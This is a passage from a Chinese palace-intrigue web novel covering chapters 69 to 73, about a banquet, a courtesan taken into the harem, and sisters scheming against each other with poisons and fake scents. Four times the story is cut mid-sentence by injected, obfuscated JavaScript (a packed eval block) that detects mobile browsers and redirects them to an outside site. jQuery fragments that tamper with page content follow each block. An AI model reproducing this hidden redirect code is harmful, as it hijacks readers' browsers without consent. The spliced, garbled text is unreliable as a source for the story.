他身着明黄色龙袍,龙袍上金龙盘踞,熠熠生辉,尽显帝王威仪。 身旁的熙贵妃一袭华服锦袍,雍容华贵,仪态万千。 “平身。”皇帝微微颔首,抬手示意众人起身。 他与熙贵妃并肩走到大殿中央的龙椅前落座,目光扫视全场,最终落在萧凌川身上,声音中带着一丝亲昵:“川儿,到朕身边来坐。” 萧凌川颔首:“是,父皇。” 三皇子萧修湛的脸上闪过一丝嫉妒之色。 冬猎萧凌川救驾有功,又遭人陷害,如今竟成了皇帝最宠爱的皇子。 要知道,就在不久之前,能坐在皇帝身旁的,还是他这个三皇子! 姜瑶真眸色晦暗,心中思绪万千。 谁能想到,如今大邺最受宠的皇子,竟会是这个自幼在冷宫中长大的南月后裔? 早知今日,当初就不该只把萧凌川当作一枚棋子,以至于错失良机! 可如今木已成舟,她只能期盼三皇子萧修湛早日重获圣宠,东山再起。 众人落座,丝竹之声响起,梅花宴正式拉开帷幕。 内侍尖细的嗓音宣告着第一批舞姬即将登场。 此时,萧修湛突然起身,向皇帝行礼道:“父皇,姜二姑娘特意为您准备了一支别出心裁的舞蹈,还望父皇能够欣赏。” 此言一出,所有人的目光都聚焦在姜瑶真身上。 她一袭红裙,面覆红纱,更衬得肌肤如雪,眉目灵动。 姜瑶真落落大方地起身,盈盈一拜:“臣女的确准备了一支舞蹈,希望能有机会献给陛下,还望陛下恩准。” 高座之上的皇帝朗声笑道:“准了!你这一身红衣,恰似这盛开的梅花,与今日的梅花宴相得益彰。朕很是期待准三皇子妃的表演!” 皇帝话音刚落,姜瑶真便迫不及待地提着裙摆上了台。 她所跳的,是大邺赫赫有名的祈福舞。 此舞动作繁复,对体力要求极高,通常由男子演绎。 而姜瑶真身着红衣,翩若惊鸿,又兼具骑马射箭的功底,跳起这祈福舞来,竟是游刃有余,将女子的柔媚与男子的力量霸气完美融合,引得在场宾客目不转睛,如痴如醉。 台下宴席上,顾晚樱嗤笑一声,对身旁几位贵女说道:“方才还说是为太后献舞,如今又说是为陛下献舞,真是巧言令色,左右逢源。” 另一位贵女语气嘲讽:“次次登场都只会跳舞,尽耍些勾栏瓦舍的伎俩,不知道的还以为她是哪家歌楼的舞姬呢!” “听说这姜瑶真的生母就是春香楼的歌伎,如此看来,倒也算是子承母业了。”几人正说得兴起,顾晚樱睨了她们一眼,目光飘向姜姝宁,意有所指道:“快别说了,人家的姐姐还在这儿呢!” 姜姝宁佯装听不见,神色淡然。 顾晚樱又道:“哦,瞧我这记性,差点忘了你们姐妹不睦!姜姝宁,不如你来加入我们吧,往后我罩着你!” “就是就是!”一位贵女附和道,“那姜瑶真将来不过是个三皇子妃,哪有晚樱姐姐这个太子妃位高权重?” 另一个贵女也道:“姜姑娘,你那妹妹如此嚣张跋扈,又爱抢你的风头,若是有晚樱姐姐给你撑腰,她日后肯定不敢再欺负你!” 姜姝宁微微一笑,婉言谢绝:“晚樱姑娘的好意我心领了。只是陛下最厌恶结党营私,我们这些女眷若是私底下拉帮结派,恐怕有些不妥。” 顾晚樱碰了软钉子,心中有些不悦:“好,你如此不识抬举,往后若是在你妹妹那里吃了亏,可别怪我不帮你!” “多谢晚樱姑娘提醒。”姜姝宁神色依旧浅淡。 并非她清高孤傲,不愿与这些贵女们结盟。 只是她们的手段终究有限,最多不过是孤立姜瑶真,在背后说些闲言碎语,于她而言,不过是隔靴搔痒,不痛不痒。 她和姜瑶真之间,隔着姜天恩这条人命,岂是说说闲话就能了结的? 她要的,是姜瑶真血债血偿! 一阵热烈的掌声响彻宴会大厅,姜瑶真的舞蹈表演就此落幕。 皇帝龙颜大悦,抚须大笑:“好!好!好!朕还是第一次见到女子能将大邺祈福舞演绎得如此淋漓尽致!准三皇子妃果然才艺双全!赏!” 姜瑶真气息微喘,激动地叩首谢恩:“谢陛下隆恩!” 她回到席位,得意地瞥了姜姝宁一眼,故意将皇帝赏赐的夜明珠放在桌上,炫耀道:“姐姐,你应该没见过夜明珠吧?若是喜欢,便送给你好了。我如今是准三皇子妃,日后这样的宝物多的是。姐姐至今还未定下婚约,以后有没有机会得到这样珍贵的夜明珠可就难说了!” 姜姝宁唇角勾起一抹嘲讽的弧度:“多谢妹妹好意。不过妹妹跳了这么久的舞,想必已经汗流浃背了吧?不如将面纱摘下来透透气如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620091|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜瑶真闻言,脸色骤变。 顾晚樱也趁机附和道:“是啊,瑶真妹妹为何一直戴着面纱,即便舞毕也舍不得摘下?莫非是脸上长了什么东西,不敢示人?” 姜瑶真下意识地捂住脸,语气生硬:“当然不是!我只是怕摘下面纱之后,会让各位姐姐们自惭形秽!” 姜姝宁只觉得可笑,低头浅酌了一口果酒。 从小到大,她都不屑与姜瑶真攀比,可姜瑶真却总是将她视为假想敌,如今更是像个跳梁小丑一般上蹿下跳。 她最好祈祷三皇子能够翻身,否则,日后恐怕再也没有这样耀武扬威的机会了。 舞姬们翩然而至,重回舞台。 出乎所有人意料的是,她们所跳的,竟也是大邺的祈福舞。 与姜瑶真不同的是,领舞的舞姬并未蒙面,一张千娇百媚的脸蛋就这样暴露在众人视线中。 她赤着双足,纤细的脚踝上系着银铃,随着舞步的变换,发出清脆悦耳的声响,一颦一笑,皆是风情。 一位贵女低声说道:“这舞姬真是不知羞耻,竟敢当着这么多人的面光着脚!” 另一位贵女附和道:“她本就是春香楼的头牌,名叫凝香,一个以色侍人的玩意儿。别说光脚了,只要价钱合适,怕是连身子都愿意露出来!” 顾晚樱意味深长地看向姜瑶真:“瑶真妹妹,你竟然和一个女支子跳同样的舞蹈,还真是别具一格啊!” 姜瑶真脸色阴沉,一言不发。 这舞姬一上台,她就觉得有些眼熟,如今仔细一看,果然是萧修湛在春香楼包养的头牌——凝香。 她怎么会进宫献舞? 难道是萧修湛的意思? 正疑惑间,一股若有似无的异香飘散开来。 随着凝香舞姿愈发曼妙,这香味也愈发浓烈,弥漫在整个宴会大厅之中,就连皇帝的神情都变得有些迷离。 一舞终了,皇帝拍手叫好:“姑娘舞姿动人,不知姑娘芳名?在何处谋生?” 凝香盈盈下拜:“启禀陛下,民女名叫苏凝香,是京城春香楼的歌伎。” “凝香?”皇帝眉头微蹙,“你就是那个天生体香,闻名于世的春香楼头牌?” “正是民女。” “今日一见,果然名不虚传!”皇帝笑着说道,“你的祈福舞朕甚是喜欢,想要什么赏赐,尽管开口。” “回陛下,民女斗胆,想侍奉在陛下左右,哪怕只是一个身份低微的宫女也心甘情愿!” 此言一出,全场哗然。 第70章 纳入后宫 第七十章纳入后宫 熙贵妃率先表示反对,语气尖锐:“陛下!此女乃一介烟花女子,千人枕万人骑,陛下贵为天子,怎可将这等轻贱之人留在身边?” 台下的萧修湛也面露惊愕之色,显然没料到凝香竟会提出如此大胆的请求。 姜瑶真不动声色地观察着萧修湛和熙贵妃的神情,心中暗忖:看来此事并非萧修湛安排。 熙贵妃是皇帝的宠妃,萧修湛怎会将一个女人送到皇帝身边,与其母妃争宠? 那么,究竟是谁将这凝香送到皇帝面前的呢? 凝香神色恭谨,不慌不忙地解释道:“启禀陛下,贵妃娘娘,民女虽在春香楼谋生,却是卖艺不**,至今仍是清白之躯。若陛下不信,大可召宫人前来验证!” 皇帝闻言,双眼顿时亮了起来。 身有异香的女子罕见,身有异香且还是完璧之身的女子就更稀有了! “既如此,那便找人为凝香姑娘验一验!” 太后此时缓缓开口:“皇帝,那便由吴嬷嬷前去验看吧。” 吴嬷嬷是太后身边的近身嬷嬷,也是宫中经验丰富的老人,女子是否完璧,她一验便知。 很快,吴嬷嬷领着凝香退了下去。 熙贵妃见皇帝动了纳凝香入宫的心思,脸上的愠色根本压不住。 台下的萧修湛也一脸怒容。 凝香是否完璧之身,他比任何人都清楚。 可他总不能当众揭穿此事,告诉皇帝凝香早已被他染指。 按照大邺律例,皇子是不得出入风月场所,若是他主动承认,岂不是授人以柄,给那些大臣们**他的机会? 他只能寄希望于吴嬷嬷,希望她能给出否定的结论,打消皇帝纳凝香入宫的念头。 不到半盏茶的功夫,吴嬷嬷便带着凝香回到了大殿。 “启禀陛下,凝香姑娘确是完璧之身。” 此言一出,萧修湛猛地站起身来,失声道:“这怎么可能?!” 吴嬷嬷神色冰冷地看向萧修湛:“三皇子殿下,您这是信不过老奴的验身之术,还是怀疑老奴欺君罔上?” 吴嬷嬷是太后陪嫁的婢女,服侍太后近五十年,她的话便代表着太后的颜面,容不得旁人质疑。 “吴嬷嬷误会了,我并非此意,只是她毕竟出身风尘……” 太后接过萧修湛的话茬,看向皇帝:“三皇孙所言不无道理。凝香姑娘虽是清白之躯,但毕竟出身烟花之地,即便身带异香,也不宜给她太高的位份,以免引起后宫非议。哀家以为,不如封她为美人,陛下以为如何?” 皇帝闻言大喜:“一切听凭母后安排!” 他就是想将将人纳入后宫,至于什么名分都是次要的。 太后明面上是认可萧修湛的话,实际上还是遂了他这个皇帝的意。 “既如此,便将苏美人带下去,安置在储秀宫吧!宴会继续!”太后一声令下,乐声再次响起,掩盖了方才的波澜。 熙贵妃眼见木已成舟,脸色阴沉得仿佛能滴出水来。 皇帝则恰恰相反,脸上带着几分按捺不住的期待。 他暗暗估摸着时间,盘算着等苏美人梳洗完毕,便寻个由头前往储秀宫。 萧修湛如坐针毡,终是按捺不住,借口不胜酒力,起身离席。 姜瑶真见状,也悄然离桌,尾随而去。 宫人们正要引着凝香前往储秀宫,萧修湛却冷着脸厉声喝止:“都给本皇子滚下去!” 宫人们不敢违抗,只得纷纷后退。 凝香不慌不忙地向萧修湛行礼:“参见三皇子殿下。” “苏凝香,你好大的胆子!竟敢背着本皇子,勾引父皇!谁给你的胆子?!”萧修湛怒不可遏。 “凝香走到今日这一步,难道不是殿下逼迫的吗?”凝香抬起眼眸,泪光盈盈,“殿下可还记得,您有多久不曾来春香楼看过凝香了?春香楼这等地方,向来是捧高踩低的。殿下不来看凝香,楼中又来了不少新人,老鸨便想逼迫凝香接客。若非凝香行此险棋,恐怕真要如同贵妃娘娘所言的那样,落得个千人枕万人骑的下场!” 凝香这副梨花带雨的娇弱模样,让萧修湛心中一软。 原来,她是没了自己的庇护,才迫不得已出此下策。 的确,这段时日以来,他忙于朝中之事,无暇顾及春香楼。 自那日发现姜瑶真身带异香之后,他对凝香便渐渐兴味索然了。 “那你身上的异香,还有……完璧之身,又是怎么回事?”萧修湛仍有疑惑。 凝香嘴角勾起一抹自嘲的弧度。 “殿下不会真以为这世上真有天生体香的女子?这香味,不过是凝香服用了一种名为‘凝香丸’的药物所致。此药有毒,长期服用会导致不孕。但为了能得陛下垂怜,即便终生无法诞育子嗣,凝香也心甘情愿!至于完璧之身……”凝香顿了顿,“既能伪造体香,这处子之身,又岂是难事?” 萧修湛闻言大惊失色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620092|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你……你这是欺君之罪!” “嘘!”凝香纤纤玉指抵住萧修湛的嘴唇,低声说道,“只要殿下不说,便不算欺君。凝香只想体面地活着,还望殿下看在凝香这些年尽心伺候的份上,给凝香一条活路,可好?” 凝香身上散发出的浓郁香气,以及较之以往更显娇媚的容颜,无不让萧修湛心神荡漾。 一想到日后她将成为父皇的女人,他心中竟生出一股难以言喻的妒意和不甘。 萧修湛看着凝香,眼中闪过一丝贪婪:“若本皇子帮你保守秘密,你当如何报答?” 凝香故作迟疑:“殿下想要什么?” 萧修湛凑到她耳边,语气暧昧:“自然是……让你多帮本皇子吹吹父皇的枕边风……” 这一幕恰好被不远处的姜瑶真撞见。 妒火中烧的她冲上前去,怒不可遏道:“殿下!你怎能背着臣女与其他女子纠缠不清?!” 凝香见状,连忙后退几步,向萧修湛行礼告退:“殿下,民女先行告退。” 说罢,便飘然离去。 萧修湛望着凝香离去的背影,眼中流露出毫不掩饰的眷恋。 “殿下!”姜瑶真怒气难消,“你如此行径,可有将臣女这个未婚妻放在眼里?” “放不放眼里,又如何?”萧修湛逼近姜瑶真,果然没有闻到上次那股异香,顿时冷笑一声,“上次,你是服用了‘凝香丸’才来见本皇子的吧?本皇子先前还当真以为你是天生体香,没想到竟是服用药物所致。怎么?你把本皇子当傻子耍,还不许本皇子亲近其他女子,是谁给你的底气?” 姜瑶真没想到自己的伎俩会被萧修湛当场揭穿,顿时羞愧难当,脸色涨得通红。 她连忙装出一副泫然欲泣的模样:“臣女该死!臣女只是想让殿下多在乎臣女一些,才出此下策,并非有意欺瞒殿下。臣女自知不该干涉殿下私事,可那凝香姑娘,如今已是陛下的人了。殿下若是执意与她纠缠不清,就不怕招来祸患吗?” “我不过是稳住她,让她为我所用罢了。”萧修湛看着姜瑶真那双比寻常女子更加深邃妩媚的眼眸,轻笑一声,“姜二姑娘这是吃醋了?放心,凝香虽身带异香,可容貌却远不及你。本皇子自然还是更喜欢你一些。” 话音刚落,他便迫不及待地扯开姜瑶真脸上的面纱,想要一亲芳泽。 当他看到姜瑶真那张长满化脓疙瘩的脸时,顿时吓得连连后退。 “你……你的脸怎么了?!” 第71章 难以言喻的恐慌 第七十一章难以言喻的恐慌 姜瑶真慌忙掩面,惊慌失措地解释道:“殿下,臣女只是吃了些荤腥,脸上起了疹子……” “疹子?”萧修湛满眼狐疑,“但愿如此!本皇子给你一个月的时间,若是你一个月后还是这副尊容,本皇子便向父皇请求一道圣旨,取消你我之间的婚约!” “不!不要!”姜瑶真惊呼出声,“殿下,臣女已是您的人了,若是被您退婚,臣女今后还如何嫁人?!” “难道要本皇子娶一个丑陋不堪的女子为妻吗?”萧修湛厌恶地皱起眉头,“你除了这张脸,还有什么比得上其他世家贵女?即便父皇再给姜家面子,也不可能逼迫本皇子娶一个丑八怪!” 说罢,他拂袖而去,甚至不愿再多看她一眼。 望着他决绝的背影,姜瑶真心中一阵绝望。 自从用了那盒北陵脂粉之后,她的脸就变成了这副鬼样子。 倘若一个月后,脸上的疙瘩依旧无法消退,那该如何是好? 这门婚事是她好不容易才得来的,若是被退婚,她已非完璧之身,莫说皇家,恐怕就连寻常百姓家也不会有人愿意娶她! 谁能帮帮她? 一个名字在她脑海中闪过——萧凌川! 他既然能解南月奇毒,背后肯定有个擅长解毒的高人。 他一定有办法解北陵脂粉里的毒! 可是,萧凌川肯定不会轻易出手帮她,恐怕连见她一面都不肯。 姜瑶真重新戴上面纱,眸中闪过一丝阴狠。 看来,只能孤注一掷,动用那个法子了! 姜瑶真急匆匆地走向梅园外的偏殿。 半路上,迎面遇上一位男子,见到她时,惊喜地唤道:“姜二姑娘!” 姜瑶真抬眸,正对上御史之子顾亦庭那张清隽俊逸的脸。 “顾公子。”姜瑶真微微颔首。 “没想到姜二姑娘不仅容貌倾城,舞技更是超群绝伦。方才在下在台下观赏姑娘的祈福舞,当真是惊艳不已。在下从未见过女子能将祈福舞演绎得如此精彩绝伦!”顾亦庭由衷称赞道。 想起方才在宴席上被他妹妹顾晚樱嘲讽,姜瑶真不禁冷笑一声:“方才陛下新纳的美人凝香姑娘,也跳了祈福舞。顾公子难道不觉得,臣女与一个名女支跳同样的舞蹈,有失体统吗?” “那等以色侍人的女子,怎能与姜二姑娘相提并论?”顾亦庭忙不迭道,“姜二姑娘舞姿曼妙,顾盼生辉,那凝香不过是为了攀附皇权,哗众取宠罢了,根本不配与姑娘相提并论!” 姜瑶真对男人爱慕的眼神早已司空见惯。 这顾亦庭,分明对她有意。 她不妨好好利用他一番,或许日后会有用处。 “多谢顾公子美言。只是那凝香如今已是陛下的美人,公子这番话若是传到旁人耳中,恐怕会招来祸端。” 顾亦庭硬气道:“在下句句肺腑之言,即便陛下要治罪,在下也绝不收回!” 姜瑶真嫣然一笑:“顾公子倒是有几分顾御史的铮铮铁骨,不愧是虎父无犬子!” 被她这么一夸,顾亦庭心中喜不自胜。 “姜二姑娘谬赞了。” “顾公子,我还有事,先行一步。” 姜瑶真不愿在他身上浪费时间,她还有更重要的事情要去处理。 顾亦庭目送着她离去,见她朝着偏殿的方向走去,他不禁抬头望了望天色。 时辰已不早,晚宴即将开始,姜二姑娘要去哪? 他鬼使神差地跟了上去。 偏殿内,萧凌川**桌前品茶。 殿中燃着银骨炭,温暖如春;袅袅乌沉香的香气弥漫开来,正是姜姝宁所喜爱的味道。 一阵叩门声响起,萧凌川清了清嗓子:“进来。” 当他看到来人竟是一袭红衣的姜瑶真时,脸色骤然阴沉下来:“怎么是你?” 他收到的字条,上面分明是姜姝宁的笔迹! 姜瑶真目光落在他手中被捏成一团的字条上,又迅速收回,低声道:“四皇子殿下,约您前来的是臣女。臣女怕殿下不愿见我,这才斗胆模仿了姐姐的笔迹。” 她心中一阵妒恨,原来只要以姜姝宁的名义,就能如此轻易地将萧凌川约出来。 她究竟哪一点比不上姜姝宁? “你好大的胆子,竟敢冒充她将我约出来!”萧凌川将手中的字条捏得粉碎,“你最好现在就从我眼前消失,否则,后果自负!” “殿下!”姜瑶真“噗通”一声跪倒在他面前,泪如雨下,“臣女实在是走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620093|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投无路了,这才斗胆前来求助殿下。姐姐嫉妒臣女的容貌,在北陵脂粉中下毒,又将这脂粉转赠给臣女,害得臣女如今面容溃烂。” 说着,她掀开面纱一角,露出脸上触目惊心的化脓疙瘩。 “嫉妒你的容貌,给你下毒?”萧凌川嗤笑一声,“姜瑶真,你以为这天下的女子都跟你这般城府深沉,手段歹毒吗?” “殿下信也好,不信也罢,臣女只求殿下看在臣母曾为殿下效力的份上,赐臣女解药,让臣女的脸尽快恢复。臣女感激不尽!” “我要你的感激做什么?”萧凌川俊美的脸上满是寒霜,“你于我而言,不过是一枚牵制你母亲的棋子罢了,别把自己太当回事。今日之事,我可以不与你计较。但若有下次,再敢以她的名义戏耍于我,就休怪本皇子不客气!” 说完,他便起身欲走。 姜瑶真见哀求无用,脸色阴沉地站起身,对着萧凌川的背影说道:“殿下当真不肯相助?臣女认识一位赫赫有名的毒师,她研制的**无人能解。若是臣女将那毒师新研制的**用来对付姐姐,殿下觉得,姐姐她还能活吗?” 萧凌川脸色骤变,猛地转身,一把扣住姜瑶真的手腕,桃花眼中戾气翻涌:“你敢!” 姜瑶真强忍着内心的恐惧,迎上他狠厉的目光:“我如今已是这般模样,还有什么不敢的?我和姐姐同住一个屋檐下,有的是机会给她下毒!更何况,这**无色无味,就算姐姐**,大理寺也查不出她是**而亡!” 一阵难以言喻的恐慌涌上萧凌川心头。 那位南月毒师如今就在相府,若是她与姜瑶真勾结,要害死姜姝宁简直易如反掌。 前世他已经失去她一次,今生绝不能让这样的悲剧重演! 此时来到窗外的顾亦庭正好看到这一幕——萧凌川紧紧扣着姜瑶真的手腕,神情强硬,似乎在逼迫她什么。 孤男寡女共处一室,还点着熏香和银骨炭,四皇子殿下莫不是对姜二姑娘有意? 这可不行! 姜二姑娘已经和三皇子定下婚约,四皇子此番行径,岂不是坏了姜二姑娘的名声? 顾亦庭想推门而入,却又想起四皇子那冷若冰霜的神情,不禁有些胆怯。 罢了,还是去找其他人来阻止他吧! 第72章 投怀送抱 第七十二章投怀送抱 姜姝宁在宴席上拒绝了顾晚樱的提议后,便被一众世家贵女孤立。 她索性离席,独自一人来到宴会厅外赏梅。 一位男子匆匆走到她面前:“姜姑娘,你可让在下好找!” 姜姝宁抬眸一看,竟是顾亦庭。 他不是姜瑶真众多爱慕者之一吗? 来找她做什么? “不知顾公子找我有何事?” 顾亦庭压低声音道:“四皇子殿下正在梅园附近的偏殿内私会姜二姑娘。姜二姑娘如今已有婚约在身,如此私下会面,恐有不妥。还望姜姑娘念及姐妹情谊,前去劝说一二,以顾全令妹的声誉。” 姜姝宁黛眉微蹙。 姜瑶真和萧凌川? 难怪方才在殿上未见他的人影。 没想到他竟如此大胆,在天子脚下也敢私会姜瑶真。 看来,萧凌川为了他的白月光,当真是不顾一切,即便再不体面,也甘之如饴。 姜姝宁心头涌上一股难以名状的滋味,酸涩中夹杂着几分厌恶。 “这与我何干?”她冷声道,“顾公子若是如此在意,何不亲自前去劝阻?” 顾亦庭闻言有些恼怒:“你不是爱慕四皇子殿下吗?难道你能眼睁睁看着自己的妹妹与他拉拉扯扯,纠缠不清?若是被旁人瞧见,岂不是坏了姜二姑娘的名声?到那时,陛下说不定会将姜二姑娘赐婚给四皇子殿下!” 这话倒是提醒了姜姝宁。 萧凌川之所以会答应帮她对付萧修湛,想争夺的除了大邺皇位之外,还有姜瑶真这个白月光。 倘若他真的如愿以偿,娶了姜瑶真,或许就不会再执着于对付萧修湛了。 唯有求而不得的痛苦,才能转化成足够强大的恨意,助她除掉萧修湛! “他们在哪个偏殿?还请顾公子带我前去!” 见她终于被说动,顾亦庭松了口气:“请姜姑娘随在下来!” 此时,偏殿内的萧凌川已经恢复了冰冷的神色。 他从袖中取出一个瓷瓶,扔在地上:“把这药带回去,每日涂抹一次,连用七日,脸上的溃烂便可痊愈。在此期间,记得每日净面,切勿再使用任何脂粉!” 姜瑶真捡起瓷瓶,一脸狐疑:“殿下还未查看过北陵脂粉中的毒,如何得知这解药有效?这当真是解药?莫不是殿下在诓骗臣女?” 萧凌川给的自然不是什么解药。 前世蒋贵妃使用北陵脂粉后容颜溃烂之事,他也略有耳闻。 实际上根本无需医治,只要停用北陵脂粉,过几日,脸上的溃烂便会自行消退。“信不信由你!但你若是胆敢动姜姝宁一根汗**,我定让你死无葬身之地!”萧凌川神色阴鸷,如同地狱修罗一般可怖。 姜瑶真被他这骇人的模样吓得瑟瑟发抖,捧着瓷瓶千恩万谢:“多谢殿下!臣女感激不尽!” 这一幕,恰好被来到殿外的姜姝宁透过门缝瞧见。 原来,萧凌川私下约见姜瑶真,是为了给她送药。 看来,他还是十分在意姜瑶真这张美艳皮相的。 呵,男人! 殿内,姜瑶真看着眼前神色冷若冰霜的萧凌川,心中愈发不甘。 明明从前,他与其他男子并无二致,也是在意她的,为何自从救了落水的姜姝宁之后,所有心思便都放在了姜姝宁身上? 难道是因为姜姝宁落水后衣衫不整,曲线毕露,让他窥见了旖旎春光,以至于动了心思? 想到这,她心一横,索性将外衣褪至肩部,扑进萧凌川怀中:“殿下的大恩臣女无以为报,若殿下不嫌弃,臣女愿以身相许!” 萧凌川未料到她会有此举动,还来不及推开她,殿门便被人推开,姜姝宁径直走了进来。 她面色阴沉,隐隐带着几分愠怒:“殿下,你这是在做什么?” 姜瑶真看到姜姝宁,吓得花容失色,连忙松开萧凌川,慌乱地整理着自己的衣裙。 该死!偏偏在这个节骨眼上,姜姝宁来凑什么热闹! 净坏她好事! 萧凌川见她一副气势汹汹的模样,眸色微沉。 “姜姑娘以为,我在做什么?” “你!”姜姝宁恨恨地瞪着他,他们两人衣衫不整,还能做什么? 若是她晚来一步,他是不是就要接受姜瑶真这份“谢礼”了? “殿下莫不是忘了,我妹妹如今已和三皇子殿下订下婚约!殿下这般与她私下会面,难道不觉得有失妥当吗?” 姜瑶真心头一惊,连忙拉住姜姝宁的衣袖,泫然欲泣:“姐姐,你别怪四皇子殿下,都是我的错!” “你当然有错!你既已定亲,怎可再与外男拉拉扯扯?这分明是在打皇家的脸!你若是想死,大可自行了断,莫要连累姜家!” 姜瑶真被她一通斥责噎得说不出话来。 姜姝宁转而看向萧凌川,清澈如水的眼眸中此刻蓄满怒意:“殿下竟敢在陛下眼皮子底下私会已有婚约的女子,难道就不怕声名狼藉,受人非议?还望殿下自重!” 躲在殿外的顾亦庭听到这番话,也不禁暗暗吃惊。 没想到平日里看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620094|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔柔弱弱的姜姝宁,骂起人来竟如此凌厉。 那可是四皇子啊! 她竟敢当面斥责他,这胆量也着实太大了! 萧凌川极少见到姜姝宁发怒的模样。 前世她总是隐忍不发,或是默默垂泪,没有半点攻击性。 如今见她气鼓鼓的模样,眉目生动,双颊绯红,竟觉得有几分可爱。 原来,她生气时,是这般模样。 不知为何,他竟有些心痒难忍,升起一丝逗弄之意。 “姜姑娘当真是怕本王声名狼藉,担心令妹名声受损吗?”萧凌川似笑非笑地看着她。 “自然!”姜姝宁冷声答道。 “可我怎么觉得,姜姑娘是在吃醋呢?”他步步逼近,故意深吸一口气,神色揶揄,“好酸的一股醋味!” “你……”姜姝宁脸上红一阵白一阵,羞恼交加。 萧凌川,怎么如此厚颜无耻! 姜瑶真见他们二人之间隐隐有打情骂俏的意味,心中恼火至极,却又不得不强装出一副羞愧的模样,拉着姜姝宁的手,哽咽道:“姐姐,别说了,我知错了,我们回宴席吧!” 姜姝宁这才狠狠地瞪了萧凌川一眼:“还望殿下往后行事注意分寸!” “知道了。”萧凌川神色慵懒,“既然不能和有婚约的女子私下会面,那本王以后若有什么事,便来找姜姑娘好了。毕竟姜姑娘如今尚无婚约,自然不怕流言蜚语。” 姜姝宁真想破口大骂,可姜瑶真一直拉着她的手往外走,让她没有发挥的机会。 二人就这样走出了偏殿。 萧凌川望着姜姝宁离去的背影,唇角不禁微微上扬。 她误会自己和姜瑶真私会便如此怒不可遏,是否代表她在意自己? 想到这,他今日被姜瑶真骗出来,又被她威胁的坏心情顿时一扫而空。 姜姝宁冷着脸,径直往宴会厅而去。 姜瑶真跟在她身后,故作委屈地低声啜泣起来。 “姐姐,我方才实在是被逼无奈,才出此下策,还请姐姐千万替我保密,不要让三皇子知道此事。妹妹以后一定谨言慎行,绝不会再给姜家丢脸!” 姜姝宁停下脚步,冷冷地看着她。 “放心,今日之事我不会告诉三皇子。你且安心当你的准太子妃吧。” 她最痛恨的两个人,自然要绑定在一起才好。 届时,她才好将他们一网打尽,送他们共赴黄泉! 今生,她不会再给萧凌川机会庇护姜瑶真。 姜瑶真,必须和萧修湛一起死! 第73章 她吃醋了 第七十三章她吃醋了 萧凌川回到宴席,七皇子萧琪钰便对他挤眉弄眼道:“四哥,嫂嫂私下约你见面,都聊了些什么悄悄话啊?” 萧凌川端起桌上的果酒轻啜一口,淡淡道:“约我的并非姜姝宁,而是姜瑶真。那纸条,是她模仿姜姝宁的笔迹写的。” “什么?”萧琪钰手中的酒杯险些滑落,“亏得我和凌风还怕打扰到你们二人,特意没有跟过去。这姜二小姐也真是狡猾!” “无妨,姜姝宁后来也来了。”萧凌川夹起一口菜,漫不经心道,“她看到我和姜瑶真衣衫不整地抱在一起,生了很大的气。” 萧琪钰正在喝酒,听到这话差点被呛到。 “那、那怎么办?”他一脸担忧地问道,“你没有和嫂嫂解释清楚吗?” 萧凌川脸上浮起一丝笑意:“她生气,正说明她在吃醋。若非心中在意,又怎会吃醋?只是她自己尚未意识到这份在意罢了。我只需顺其自然就好,无需多做解释。” “四哥,你确定?”萧琪钰一脸难以置信,“我只听说过男女会因为误会而分开的,可从未听过会因为误会而走到一起的。四哥,你这步棋,会不会太险了一些?” “只要能让姝宁看清自己的内心,即便险一些,也值得。”萧凌川神色浅淡,语气中却透着一股不容置疑的笃定。 比起她的冷若冰霜和毫不在意,他更希望看到她因为他和其他女子暧昧不清而吃醋的模样。 前世,她明明那般深爱着他,可今生,却常常对他视而不见。 或许,他们之间正需要这样一个误会,来让他们的关系更进一步。 萧琪钰嘴角微抽:“四哥,你开心就好!” 心中却暗暗腹诽:等嫂嫂被其他皇兄抢走,有你哭的时候! “那个南月毒师,必须尽快拿下。”萧凌川神色陡然变得凝重,“将她留在相府,终究是个隐患。” “凌芜已经按照我们的计划,暗中收集了她藏在后厨的**。待我们研制出解药,便可不必再担心被她所伤,届时……” 